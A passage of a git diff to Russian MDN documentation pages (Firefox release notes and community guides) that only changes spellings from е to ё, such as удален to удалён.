</font></font><code>file</code><font><font>типа {{HTMLElement ( "вход")}} </font></font><code>values</code><font><font>была реализована в Gecko, давая его соотношение с другими браузерами (см {{bug (1274596)}}).</font></font></li> @@ -92,7 +92,7 @@ translation_of: Mozilla/Firefox/Releases/53 <ul> <li><font><font>{{Domxref ( "WEBGL_compressed_texture_astc")}} реализуется расширение WebGL ({{bug(1250077)}}).</font></font></li> - <li><font><font>{{Domxref ( "WEBGL_debug_renderer_info")}} расширение WebGL теперь включен по умолчанию ({{bug(1336645)}}).</font></font></li> + <li><font><font>{{Domxref ( "WEBGL_debug_renderer_info")}} расширение WebGL теперь включён по умолчанию ({{bug(1336645)}}).</font></font></li> </ul> <h3 id="Аудио_видео_и_медиа"><font><font>Аудио, видео и медиа</font></font></h3> @@ -151,21 +151,21 @@ translation_of: Mozilla/Firefox/Releases/53 <h3 id="HTML_XML"><font><font>HTML / XML</font></font></h3> <ul> - <li><span id="summary_alias_container"><span id="short_desc_nonedit_display"><code>dom.details_element.enabled</code><font><font>Прив - которая контролируется включение / отключение {{HTMLElement ( "детали")}} и {{HTMLElement ( "Резюме")}} опорный элемент в Firefox - теперь был удален из </font></font><code>about:config</code><font><font>. </font><font>Эти элементы (которые впервые были включены по умолчанию в Firefox 49) больше не могут быть отключены. </font><font>См {{bug (1271549)}}.</font></font></span></span></li> + <li><span id="summary_alias_container"><span id="short_desc_nonedit_display"><code>dom.details_element.enabled</code><font><font>Прив - которая контролируется включение / отключение {{HTMLElement ( "детали")}} и {{HTMLElement ( "Резюме")}} опорный элемент в Firefox - теперь был удалён из </font></font><code>about:config</code><font><font>. </font><font>Эти элементы (которые впервые были включены по умолчанию в Firefox 49) больше не могут быть отключены. </font><font>См {{bug (1271549)}}.</font></font></span></span></li> </ul> <h3 id="CSS_2"><span><span><font><font>CSS</font></font></span></span></h3> <ul> <li><font><font>Удалены {{property_prefix ( "- Мос")}} приставкой вариант {{cssxref ( ": реж", ": каталог ()")}} псевдокласс ({{bug (1270406)}}).</font></font></li> - <li><code>-moz</code><font><font>Приставкой версия {{cssxref ( "текст-ALIGN-последний")}} был удален ({{bug (1276808)}}).</font></font></li> + <li><code>-moz</code><font><font>Приставкой версия {{cssxref ( "текст-ALIGN-последний")}} был удалён ({{bug (1276808)}}).</font></font></li> <li><font><font>Удалены {{property_prefix ( "- Мос")}} приставкой вариант {{cssxref ( "известково ()")}} Метод ({{bug (1331296)}}).</font></font></li> </ul> <h3 id="JavaScript_2"><font><font>JavaScript</font></font></h3> <ul> - <li><font><font>Нестандартный {{jsxref ( "ArrayBuffer.slice ()")}} Метод был удален (но стандартизированная версия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняется, см {{bug (1313112)}}).</font></font></li> + <li><font><font>Нестандартный {{jsxref ( "ArrayBuffer.slice ()")}} Метод был удалён (но стандартизированная версия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняется, см {{bug (1313112)}}).</font></font></li> </ul> <h3 id="API-интерфейсы"><font><font>API-интерфейсы</font></font></h3> diff --git a/files/ru/mozilla/firefox/releases/58/index.html b/files/ru/mozilla/firefox/releases/58/index.html index e6e71aba3a..e4051ced3a 100644 --- a/files/ru/mozilla/firefox/releases/58/index.html +++ b/files/ru/mozilla/firefox/releases/58/index.html @@ -12,9 +12,9 @@ translation_of: Mozilla/Firefox/Releases/58 <h3 id="Инструменты_разработчика">Инструменты разработчика</h3> <ul> - <li>Код старой версии режима Отзывчивый дизайн (Responsive Design) (включен по умолчанию в pre-Firefox 52) удален из Devtools ({{bug(1305777)}}). Подробнее о новой версии в статье <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>.</li> + <li>Код старой версии режима Отзывчивый дизайн (Responsive Design) (включён по умолчанию в pre-Firefox 52) удалён из Devtools ({{bug(1305777)}}). Подробнее о новой версии в статье <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>.</li> <li>Возможность просматривать документацию MDN docs на вкладке CSS на страницах инспектора удалена ({{bug(1382171)}}).</li> - <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Маркер CSS фигур </a> включен по умолчанию для фигур (геометрических примитивов), сгенерированных как {{cssxref("clip-path")}} ({{bug(1405339)}}).</li> + <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Маркер CSS фигур </a> включён по умолчанию для фигур (геометрических примитивов), сгенерированных как {{cssxref("clip-path")}} ({{bug(1405339)}}).</li> <li> <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> теперь содержит кнопку для <a href="/en-US/docs/Tools/Network_Monitor#Pausing_and_resume_network_traffic_recording">останова/записи и просмотра сетевого трафика</a> согласно ({{bug(1005755)}}).</li> <li>В <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> фильтр "Flash" недоступен и все запросы Flash включаются в фильтр "Другое" согласно ({{bug(1413540)}}).</li> </ul> diff --git a/files/ru/mozilla/firefox/releases/59/index.html b/files/ru/mozilla/firefox/releases/59/index.html index c2234e7bcb..0ec677f311 100644 --- a/files/ru/mozilla/firefox/releases/59/index.html +++ b/files/ru/mozilla/firefox/releases/59/index.html @@ -120,7 +120,7 @@ translation_of: Mozilla/Firefox/Releases/59 <h3 id="HTML_2">HTML</h3> -<p>Нестандартный параметр <code>version</code> атрибута свойства {{htmlattrxref("type","script")}} элемента {{htmlelement("script")}} (например, <code>type="application/javascript;version=1.8"</code>) был удален ({{bug(1428745)}}).</p> +<p>Нестандартный параметр <code>version</code> атрибута свойства {{htmlattrxref("type","script")}} элемента {{htmlelement("script")}} (например, <code>type="application/javascript;version=1.8"</code>) был удалён ({{bug(1428745)}}).</p> <h3 id="CSS_2">CSS</h3> @@ -138,9 +138,9 @@ translation_of: Mozilla/Firefox/Releases/59 <h3 id="APIs_2">APIs</h3> <ul> - <li>Нестандартный метод <code>Event.getPreventDefault()</code> был удален. Вам стоит использовать свойство {{domxref("Event.defaultPrevented")}} чтобы определять, вызывался ли {{domxref("Event.preventDefault", "preventDefault()")}} на событии {{domxref("Event")}}.</li> + <li>Нестандартный метод <code>Event.getPreventDefault()</code> был удалён. Вам стоит использовать свойство {{domxref("Event.defaultPrevented")}} чтобы определять, вызывался ли {{domxref("Event.preventDefault", "preventDefault()")}} на событии {{domxref("Event")}}.</li> <li>Проприетарное свойство <code><a href="/en-US/docs/Archive/API/Navigator/mozNotification">Navigator.mozNotification</a></code> и интерфейс <code>DesktopNotification</code> были удалены, в пользу стандартного <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> ({{bug(952453)}}).</li> - <li>Проприетарный метод <code>window.external.addSearchEngine()</code> был удален ({{bug("862147")}}). Смотреть также {{domxref("Window.sidebar")}} для больших подробностей.</li> + <li>Проприетарный метод <code>window.external.addSearchEngine()</code> был удалён ({{bug("862147")}}). Смотреть также {{domxref("Window.sidebar")}} для больших подробностей.</li> <li>Нестандартное поддерживающиеся только Firefox свойство {{domxref("HTMLMediaElement")}} <code>mozAutoplayEnabled</code> было удалено.</li> </ul> diff --git a/files/ru/mozilla/firefox/releases/63/index.html b/files/ru/mozilla/firefox/releases/63/index.html index 9bf6b600cc..77bb78e3f3 100644 --- a/files/ru/mozilla/firefox/releases/63/index.html +++ b/files/ru/mozilla/firefox/releases/63/index.html @@ -158,7 +158,7 @@ translation_of: Mozilla/Firefox/Releases/63 <ul> <li>Фавиконы сайтов отныне подчиняются <a href="/ru/docs/Web/HTTP/CSP">политике защиты контента</a> (CSP), если она настроена ({{bug(1297156)}}).</li> - <li>Выражение <code>'report-sample'</code> директивы CSP <code>script-src</code> отныне учитывается при создании отчёта о нарушении. Эта директива указывает, что в отчёт должен быть включен краткий пример того, где произошло нарушение. До этого Firefox всегда включал такой пример в отчёт ({{bug(1473218)}}).</li> + <li>Выражение <code>'report-sample'</code> директивы CSP <code>script-src</code> отныне учитывается при создании отчёта о нарушении. Эта директива указывает, что в отчёт должен быть включён краткий пример того, где произошло нарушение. До этого Firefox всегда включал такой пример в отчёт ({{bug(1473218)}}).</li> <li>Библиотеки NSS обновлены до версии 3.39 ({{bug(1470914)}}).</li> </ul> diff --git a/files/ru/mozilla/firefox/releases/64/index.html b/files/ru/mozilla/firefox/releases/64/index.html index bd14e4d975..07d6525e15 100644 --- a/files/ru/mozilla/firefox/releases/64/index.html +++ b/files/ru/mozilla/firefox/releases/64/index.html @@ -19,7 +19,7 @@ translation_of: Mozilla/Firefox/Releases/64 <ul> <li>Регистронезависимое <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Autocomplete">автодополнение</a> выражений ({{bug(672733)}}).</li> <li>Возможность просмотреть <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history">историю выражений консоли</a> с помощью bash-подобного обратного поиска ({{bug(1024913)}}).</li> - <li>Подсветка <a href="/ru/docs/Tools/Web_Console/The_command_line_interpreter">оцененного кода</a> и при вводе, и при выводе ({{bug(1463669)}}).</li> + <li>Подсветка <a href="/ru/docs/Tools/Web_Console/The_command_line_interpreter">оценённого кода</a> и при вводе, и при выводе ({{bug(1463669)}}).</li> </ul> </li> <li>Пошаговое выполнение кода в <a href="/ru/docs/Tools/Debugger">отладчике JavaScript </a>также было улучшено: @@ -165,7 +165,7 @@ translation_of: Mozilla/Firefox/Releases/64 <ul> <li>Реализован <code>browser.menus.overrideContext()</code> (({{bug(1280347)}}).</li> <li>Реализована опция <code>showDefaults: false</code>, позволяющая скрывать из контекстного меню пункты по умолчанию ({{bug(1367160)}}).</li> - <li><code>documentURLPatterns</code> теперь может соответствовать адресу <code>moz-extension://</code>, даже если используется <code>browser.menus.overrideContext()</code>. Таким образом, он может надежно ограничивать пользовательские пункты меню для определенных документов ({{bug(1498896)}}).</li> + <li><code>documentURLPatterns</code> теперь может соответствовать адресу <code>moz-extension://</code>, даже если используется <code>browser.menus.overrideContext()</code>. Таким образом, он может надёжно ограничивать пользовательские пункты меню для определённых документов ({{bug(1498896)}}).</li> </ul> </li> <li>С помощью нового свойства <code>viewTypes</code> в {{WebExtAPIRef("menus.create()")}} и {{WebExtAPIRef("menus.update()")}} можно ограничить места появления контекстного меню в дополнении ({{bug(1416839)}}).</li> diff --git a/files/ru/mozilla/firefox/releases/65/index.html b/files/ru/mozilla/firefox/releases/65/index.html index 28b49d021d..275157a0b2 100644 --- a/files/ru/mozilla/firefox/releases/65/index.html +++ b/files/ru/mozilla/firefox/releases/65/index.html @@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/65 </div></pre> <code><div></code>, на который установлен <code>none</code>, теперь не выбирается. До этого значение <code>none</code> перекрывалось значением <code>all</code> родительского элемента.</li> <li>Теперь можно выбирать элементы не-<code>contenteditable</code>, вложенные в элементы <code>contenteditable</code>.</li> - <li><code>user-select</code> теперь ведет себя согласованно внутри и снаружи теневого DOM.</li> + <li><code>user-select</code> теперь ведёт себя согласованно внутри и снаружи теневого DOM.</li> <li>Удалено проприетарное значение <code>-moz-text</code>.</li> </ul> </li> diff --git a/files/ru/mozilla/firefox/releases/68/index.html b/files/ru/mozilla/firefox/releases/68/index.html index ed3740fde3..bbf3ad4633 100644 --- a/files/ru/mozilla/firefox/releases/68/index.html +++ b/files/ru/mozilla/firefox/releases/68/index.html @@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/68 <li><a href="/ru-RU/docs/Tools/Responsive_Design_Mode">Режим адаптивного дизайна</a> был переработан — окошко<em> Параметры устройства</em> (меню выбора устройства > <em>Изменить список...</em>) теперь более интуитивное и стало проще в использовании ({{bug(1487857)}}).</li> </ul> -<h4 id="Удаленные">Удаленные</h4> +<h4 id="Удалённые">Удалённые</h4> <ul> <li>Флажок "Включить дополнение при отладке" был удалён со страницы <a href="/ru-RU/docs/Tools/about:debugging">about:debugging</a> ({{bug(1544813)}}).</li> @@ -105,7 +105,7 @@ translation_of: Mozilla/Firefox/Releases/68 </li> </ul> -<h4 id="Удаленные_2">Удаленные</h4> +<h4 id="Удалённые_2">Удалённые</h4> <ul> <li>{{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} и {{CSSxRef("scroll-snap-type-y")}} были удалены.</li> @@ -184,7 +184,7 @@ translation_of: Mozilla/Firefox/Releases/68 <h4 id="Удалённые_3">Удалённые</h4> <ul> - <li>Директива {{HTTPHeader("Content-Security-Policy")}} <code>require-sri-for</code> больше не поддерживается из-за её неоднозначного статуса в спецификации. Ранее она была добавлена лишь в качестве надстройки, отключенной по умолчанию ({{bug(1386214)}}).</li> + <li>Директива {{HTTPHeader("Content-Security-Policy")}} <code>require-sri-for</code> больше не поддерживается из-за её неоднозначного статуса в спецификации. Ранее она была добавлена лишь в качестве надстройки, отключённой по умолчанию ({{bug(1386214)}}).</li> </ul> <h3 id="Безопасность">Безопасность</h3> @@ -222,7 +222,7 @@ translation_of: Mozilla/Firefox/Releases/68 <li>Сообщения об ошибке, когда дополнение пытается добавить папку с закладками в основную папку, теперь более интуитивно понятное ({{bug(1512171)}}).</li> <li>Promise, возвращённый <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/duplicate">browser.tabs.duplicate()</a></code>, выполняется сразу, пока вкладки не загружены полностью, для повышения производительности ({{bug(1394376)}}).</li> <li>Была добавлена поддержка chrome.storage.managed, позволяющая настройкам быть реализованным через корпоративную политику ({{bug(1230802)}}).</li> - <li>Появилась опция Групповой Политики, позволяющая добавить все расширения в черный список, за исключением тех, что внесены в белый, ({{bug(1522823)}}).</li> + <li>Появилась опция Групповой Политики, позволяющая добавить все расширения в чёрный список, за исключением тех, что внесены в белый, ({{bug(1522823)}}).</li> </ul> <h3 id="Изменения_манифеста">Изменения манифеста</h3> diff --git a/files/ru/orphaned/learn/how_to_contribute/index.html b/files/ru/orphaned/learn/how_to_contribute/index.html index d28b40f5f3..25d3398316 100644 --- a/files/ru/orphaned/learn/how_to_contribute/index.html +++ b/files/ru/orphaned/learn/how_to_contribute/index.html @@ -38,7 +38,7 @@ original_slug: Learn/Как_сделать_вклад <dl> <dt><a href="/ru/docs/MDN/Contribute/Howto/Tag">Добавьте теги к нашим статьям</a> (<em>5 мин</em>)</dt> - <dd>Добавление тегов к контенту MDN - один из самых легких способов внести свой вклад. Помощь в этом направлении очень ценна, поскольку теги широко применяются в MDN, чтобы вписать информацию в контекст. Начать можно с просмотра списков <a href="/en-US/docs/MDN/Doc_status/Glossary#No_tags">словарных</a> и <a href="/en-US/docs/MDN/Doc_status/Learn#No_tags">обучающих статей</a>.</dd> + <dd>Добавление тегов к контенту MDN - один из самых лёгких способов внести свой вклад. Помощь в этом направлении очень ценна, поскольку теги широко применяются в MDN, чтобы вписать информацию в контекст. Начать можно с просмотра списков <a href="/en-US/docs/MDN/Doc_status/Glossary#No_tags">словарных</a> и <a href="/en-US/docs/MDN/Doc_status/Learn#No_tags">обучающих статей</a>.</dd> <dt><a href="/ru/docs/Словарь">Прочитайте и проверьте статью в словаре</a> (<em>5 мин</em>)</dt> <dd>Нам очень важен ваш взгляд, как начинающего, на наш контент. Если вы считаете, что статья в словаре слишком сложна, значит, её необходимо улучшить. Не стесняйтесь вносить любые необходимые, на ваш взгляд, изменения. Если вам кажется, что у вас недостаточно навыков, чтобы самостоятельно отредактировать статью, можете сообщить нам о ней в нашем <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">списке рассылки</a>.</dd> <dt><a href="ru/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Напишите новую статью для словаря</a> (<em>20 минут</em>)</dt> @@ -82,5 +82,5 @@ original_slug: Learn/Как_сделать_вклад <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Создайте упражнения, <abbr title="Multiple Choice Tests">викторины</abbr> или интерактивные обучающие инструменты</a> (<em>? часа</em>)</dt> <dd>Все наши обучающие статьи требуют материалов "активного обучения", то есть упражнений или интерактивного контента, которые помогают пользователю углубиться и научиться использовать концепции, описанные в статье. В этой области вы можете сделать многое, от создания викторин до построения fully hackable интерактивного контента с <a href="https://thimble.mozilla.org/" rel="external">Thimble</a>. Раскройте вашу творческую сторону!</dd> <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_learning_pathways">Создайте пути обучения</a> (<em>? часа</em>)</dt> - <dd>Чтобы предоставить прогрессивные и доступные для понимания руководства, нам необходимо объединять контент в пути. Это способ собрать существующий контент и выяснить, чего в нем недостает для написания обучающей статьи.</dd> + <dd>Чтобы предоставить прогрессивные и доступные для понимания руководства, нам необходимо объединять контент в пути. Это способ собрать существующий контент и выяснить, чего в нем недостаёт для написания обучающей статьи.</dd> </dl> diff --git a/files/ru/orphaned/learn/html/forms/html5_updates/index.html b/files/ru/orphaned/learn/html/forms/html5_updates/index.html index 23d48d6765..e8ba6dbc84 100644 --- a/files/ru/orphaned/learn/html/forms/html5_updates/index.html +++ b/files/ru/orphaned/learn/html/forms/html5_updates/index.html @@ -14,7 +14,7 @@ tags: translation_of: Learn/HTML/Forms/HTML5_updates original_slug: Web/Guide/HTML/Формы_в_HTML --- -<p>Элементы и атрибуты форм в <strong>HTML5</strong> предоставляют большие возможности семантической верстки, чем HTML4, а также позволяет отказаться от использования JavaScript и CSS, которое было ранее необходимо для HTML4. Большие возможности в формах HTML5 делают удобным для пользователей отправление информации с различных веб-сайтов. Они также предоставляют эти возможности для тех пользователей, у которых отключена поддержка JavaScript.</p> +<p>Элементы и атрибуты форм в <strong>HTML5</strong> предоставляют большие возможности семантической вёрстки, чем HTML4, а также позволяет отказаться от использования JavaScript и CSS, которое было ранее необходимо для HTML4. Большие возможности в формах HTML5 делают удобным для пользователей отправление информации с различных веб-сайтов. Они также предоставляют эти возможности для тех пользователей, у которых отключена поддержка JavaScript.</p> <p><span class="seoSummary">Эта статья описывает изменения в HTML-формах, представленных в HTML5. Для более подробного руководства по использованию формами, просмотрите наше обширное<a href="/ru/docs/Web/Guide/HTML/Forms"> руководство по HTML-формам</a>.</span></p> @@ -29,7 +29,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML <li> <p><code>email</code>: Элемент представляет из себя поле для ввода одного адреса электронной почты. Переходы строк автоматически удаляются из значения <code>value</code>. Может быть предоставлен недействительный адрес эл. почты, но поле ввода запретит отправку формы, если эл. адрес почты не будет соответствовать нормам ABNF.</p> - <div class="note"><strong>Заметьте:</strong> Если установлен атрибут {{htmlattrxref("multiple", "input")}}, то может быть введено несколько адресов электронной почты, разделенных запятой, но, в данный момент, такая возможность не реализована в Firefox.</div> + <div class="note"><strong>Заметьте:</strong> Если установлен атрибут {{htmlattrxref("multiple", "input")}}, то может быть введено несколько адресов электронной почты, разделённых запятой, но, в данный момент, такая возможность не реализована в Firefox.</div> </li> </ul> @@ -40,7 +40,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML <li>{{htmlattrxref("pattern", "input")}}: Регулярное выражение, по которому поверяются вводимые данные. Может использоваться в элементе {{htmlattrxref("type", "input")}} со значениями <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, <code>и email</code>.</li> <li>{{htmlattrxref("form", "input")}}: Строка, указывающая, к какому элементу {{HTMLElement("form")}} принадлежит элемент. Элемент может быть частью только одной формы.</li> <li>{{htmlattrxref("formmethod", "input")}}: Строка, указывающая метод передачи данных (GET or POST), когда форма отправляется на сервер. Он перекрывает значение атрибута {{htmlattrxref("method", "form")}} элемента {{HTMLElement("form")}}, если установлен. Работает только, если {{htmlattrxref("type", "input")}} является <code>image</code> <code>или submit, </code>и если установлен атрибут {{htmlattrxref("form", "input")}}.</li> - <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Строка, указывающая на сообщение об ошибке, которое будет показано, если это поле не пройдет валидацию. Этот атрибут - расширение Mozilla и не является стандартом.</li> + <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Строка, указывающая на сообщение об ошибке, которое будет показано, если это поле не пройдёт валидацию. Этот атрибут - расширение Mozilla и не является стандартом.</li> </ul> <h2 id="Текстовое_поле">Текстовое поле</h2> @@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML <p><code><input></code> с атрибутом <code>type="text"</code> определяет однострочное поле для ввода.</p> <pre class="brush: html"><form> - Введите свое имя: <input type="text" name="name"> + Введите своё имя: <input type="text" name="name"> </form></pre> <h2 id="Флажок"><strong style="font-size: 2.142857142857143rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Флажок</strong></h2> @@ -85,7 +85,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML <p>Элемент <code>{{HTMLElement("output")}}</code> представляет собой результат каких-либо вычислений.</p> -<p>Вы можете использовать атрибут {{htmlattrxref("for", "output")}} для указания связи между элементом <code>{{HTMLElement("output")}}</code> и другими элементами в документе, которые повлияли на расчет (к примеру, поля для ввода параметров). Значением атрибута {{htmlattrxref("for", "output")}} является список ID других элементов, разделенный пробелами.</p> +<p>Вы можете использовать атрибут {{htmlattrxref("for", "output")}} для указания связи между элементом <code>{{HTMLElement("output")}}</code> и другими элементами в документе, которые повлияли на расчёт (к примеру, поля для ввода параметров). Значением атрибута {{htmlattrxref("for", "output")}} является список ID других элементов, разделённый пробелами.</p> <p>{{non-standard_inline}} Gecko 2.0 (but not necessarily other browser engines) supports defining custom validity constraints and error messages for {{HTMLElement("output")}} elements, and therefore applies the {{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}, and {{Cssxref(":-moz-ui-valid")}} CSS pseudo-classes to them. This can be helpful in situations where the calculated result violates a business rule, but no specific input value does (for example, "The total of percentages must not exceed 100").</p> diff --git a/files/ru/orphaned/mdn/community/conversations/index.html b/files/ru/orphaned/mdn/community/conversations/index.html index c0c6683b69..2c24e68139 100644 --- a/files/ru/orphaned/mdn/community/conversations/index.html +++ b/files/ru/orphaned/mdn/community/conversations/index.html @@ -45,7 +45,7 @@ original_slug: MDN/Сообщество/Conversations <h3 id="What_about_IRC">What about IRC?</h3> -<p>В течение многих лет Mozilla использовала Internet Relay Chat (IRC) для обсуждения в реальном времени. С начала 2020 года IRC устарел и заменен Matrix. Вы можете встретить ссылки на IRC-каналы во многих местах, в том числе на MDN. Вы можете помочь, обновив ссылки на IRC-каналы, которые вы найдете на MDN, чтобы они указывали на соответствующие комнаты Matrix. Если вы не уверены, что представляет собой комната Matrix по теме, спросите в общей комнате. У проектов или тем, которые больше не активны, может не быть комнаты Matrix; в таких случаях просто удалите ссылку.</p> +<p>В течение многих лет Mozilla использовала Internet Relay Chat (IRC) для обсуждения в реальном времени. С начала 2020 года IRC устарел и заменён Matrix. Вы можете встретить ссылки на IRC-каналы во многих местах, в том числе на MDN. Вы можете помочь, обновив ссылки на IRC-каналы, которые вы найдёте на MDN, чтобы они указывали на соответствующие комнаты Matrix. Если вы не уверены, что представляет собой комната Matrix по теме, спросите в общей комнате. У проектов или тем, которые больше не активны, может не быть комнаты Matrix; в таких случаях просто удалите ссылку.</p> <h2 id="Присоединяйся_к_нашим_встречам_и_другим_событиям">Присоединяйся к нашим встречам (и другим событиям)</h2> diff --git a/files/ru/orphaned/mdn/community/index.html b/files/ru/orphaned/mdn/community/index.html index cbbdbc999b..a99668fa42 100644 --- a/files/ru/orphaned/mdn/community/index.html +++ b/files/ru/orphaned/mdn/community/index.html @@ -16,7 +16,7 @@ original_slug: MDN/Сообщество <p>MDN (аббревиатура Mozilla Developer Network) - это больше чем wiki: это сообщество разработчиков работающих вместе, чтобы сделать MDN лучшим ресурсом для разработчиков, которые используют открытые Веб-технологии.</p> </div> -<p>Мы хотели бы, чтобы вы внесли свой вклад в MDN, но еще больше мы бы хотели, чтобы вы участвовали в сообществе MDN. Вот как присоединиться, за три простых шага:</p> +<p>Мы хотели бы, чтобы вы внесли свой вклад в MDN, но ещё больше мы бы хотели, чтобы вы участвовали в сообществе MDN. Вот как присоединиться, за три простых шага:</p> <ol> <li><a href="/ru/docs/MDN/Contribute/Howto/Create_an_MDN_account">Создайте MDN аккаунт</a>.</li> diff --git a/files/ru/orphaned/mdn/community/whats_happening/index.html b/files/ru/orphaned/mdn/community/whats_happening/index.html index 1230622cdd..ee3f6b3917 100644 --- a/files/ru/orphaned/mdn/community/whats_happening/index.html +++ b/files/ru/orphaned/mdn/community/whats_happening/index.html @@ -12,7 +12,7 @@ original_slug: MDN/Сообщество/Whats_happening <dl> <dt><a href="https://hacks.mozilla.org/" title="https://hacks.mozilla.org/">Mozilla Hacks</a></dt> - <dd>Новости и углубленное освещение Веб-технологий и особенностей Mozilla.</dd> + <dd>Новости и углублённое освещение Веб-технологий и особенностей Mozilla.</dd> <dt><a href="https://blog.mozilla.org/community/category/developer-engagement/">Engaging Developers</a></dt> <dd><span id="result_box" lang="ru"><span>Повышение активности</span> <span>и обсуждения</span> <span>среди</span> <span>сообщества, участвующих</span> <span>в</span> <span>MDN</span> <span>в</span> <span>Mozilla</span></span>.</dd> </dl> diff --git a/files/ru/orphaned/mdn/community/working_in_community/index.html b/files/ru/orphaned/mdn/community/working_in_community/index.html index 9fd9e70f83..0b2a4ff95d 100644 --- a/files/ru/orphaned/mdn/community/working_in_community/index.html +++ b/files/ru/orphaned/mdn/community/working_in_community/index.html @@ -24,7 +24,7 @@ original_slug: MDN/Сообщество/Working_in_community <li>Найдите баланс между потребностью в необходимой информации и временем, которое другие люди в вашей дискуссии должны посвятить на то, чтобы вам помочь. Не настаивайте на все большем количестве деталей, если в этом прямо сейчас нет необходимости, так как это может вывести других людей из себя.</li> <li>Имейте в виду, что ваш запрос отнимает ценное время у людей, с которыми вы контактируете, поэтому убедитесь, что вы используете их время с умом.</li> <li>Будьте внимательны к культурным различиям. Mozilla — международная и многокультурная команда, поэтому при общении с человеком, чья культура возможно отличается от вашей, постарайтесь иметь это в виду.</li> - <li>Начинайте новый диалог вместо захвата уже существующего. Не задавайте вопросы, которые не относятся к диалогу, только потому что нужные вам люди обращают на этот диалог внимание. Хотя это удобно вам, это может раздражать людей, с которыми вы хотите поговорить и приведет к итогу, далекому от идеального.</li> + <li>Начинайте новый диалог вместо захвата уже существующего. Не задавайте вопросы, которые не относятся к диалогу, только потому что нужные вам люди обращают на этот диалог внимание. Хотя это удобно вам, это может раздражать людей, с которыми вы хотите поговорить и приведёт к итогу, далёкому от идеального.</li> <li>Избегайте {{interwiki("wikipedia", "Закона тривиальности")}}. Не позволяйте вашему энтузиазму превратиться в раздражительный педантизм. Это делает диалог утомительным и расфокусированным.</li> </ul> @@ -34,16 +34,16 @@ original_slug: MDN/Сообщество/Working_in_community <h3 id="Вежливо_указывайте_на_ошибки">Вежливо указывайте на ошибки</h3> -<p>Если ваша цель в контакте с кем-то - попросить их сделать что-то по-другому или указать на ошибку, которую они совершили (особенно если они повторяют это постоянно), начните свое сообщение с положительного комментария. Это смягчает удар, так сказать, демонстрирует, что вы пытаетесь быть полезным и не позиционирует вас как невоспитанного человека.</p> +<p>Если ваша цель в контакте с кем-то - попросить их сделать что-то по-другому или указать на ошибку, которую они совершили (особенно если они повторяют это постоянно), начните своё сообщение с положительного комментария. Это смягчает удар, так сказать, демонстрирует, что вы пытаетесь быть полезным и не позиционирует вас как невоспитанного человека.</p> -<p>Например, если новый участник создает много страниц без тегов и вы хотели бы указать на эту проблему, тогда ваше сообщение для него могло бы выглядеть так (то, что вам нужно изменить для конкретного случая, подчеркивается):</p> +<p>Например, если новый участник создаёт много страниц без тегов и вы хотели бы указать на эту проблему, тогда ваше сообщение для него могло бы выглядеть так (то, что вам нужно изменить для конкретного случая, подчёркивается):</p> <blockquote> -<p>Привет, <u>MrBigglesworth</u>, я заметил Ваш вклад в <u>документацию API Wormhole</u>, Ваша помощь неоценима! Мне особенно нравится, как <u>Вы сбалансировали свой уровень детализации с удобочитаемостью</u>. Тем не менее, Вы могли бы сделать эти статьи еще лучше и полезнее, если бы в дальнейшем <u>добавили правильные теги к страницам</u>.</p> +<p>Привет, <u>MrBigglesworth</u>, я заметил Ваш вклад в <u>документацию API Wormhole</u>, Ваша помощь неоценима! Мне особенно нравится, как <u>Вы сбалансировали свой уровень детализации с удобочитаемостью</u>. Тем не менее, Вы могли бы сделать эти статьи ещё лучше и полезнее, если бы в дальнейшем <u>добавили правильные теги к страницам</u>.</p> <p><u>Подробные сведения смотри в руководстве по тегам MDN (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag).</u></p> -<p>Еще раз спасибо, я надеюсь на Ваше сотрудничество в будущем!</p> +<p>Ещё раз спасибо, я надеюсь на Ваше сотрудничество в будущем!</p> </blockquote> <h2 id="Обмен_знаниями">Обмен знаниями</h2> @@ -72,11 +72,11 @@ original_slug: MDN/Сообщество/Working_in_community <dl> <dt><a href="/dashboards/revisions">Панель управления ревизиями</a></dt> - <dd>Панель управления ревизиями документов предоставляет очень удобный инструмент для обзора изменений, внесенных в контент MDN. Вы можете видеть историю последних изменений, выбрать временной диапазон для просмотра. Вы можете использовать фильтр по языку, имени разработчика, теме и другим атрибутам. Просматривая список ревизий документов, вы можете просмотреть изменения, внесенные в каждую ревизию, быстро открыть страницу, просмотреть полную историю или даже отменить изменения (если у вас есть необходимые привилегии).</dd> + <dd>Панель управления ревизиями документов предоставляет очень удобный инструмент для обзора изменений, внесённых в контент MDN. Вы можете видеть историю последних изменений, выбрать временной диапазон для просмотра. Вы можете использовать фильтр по языку, имени разработчика, теме и другим атрибутам. Просматривая список ревизий документов, вы можете просмотреть изменения, внесённые в каждую ревизию, быстро открыть страницу, просмотреть полную историю или даже отменить изменения (если у вас есть необходимые привилегии).</dd> <dt><a 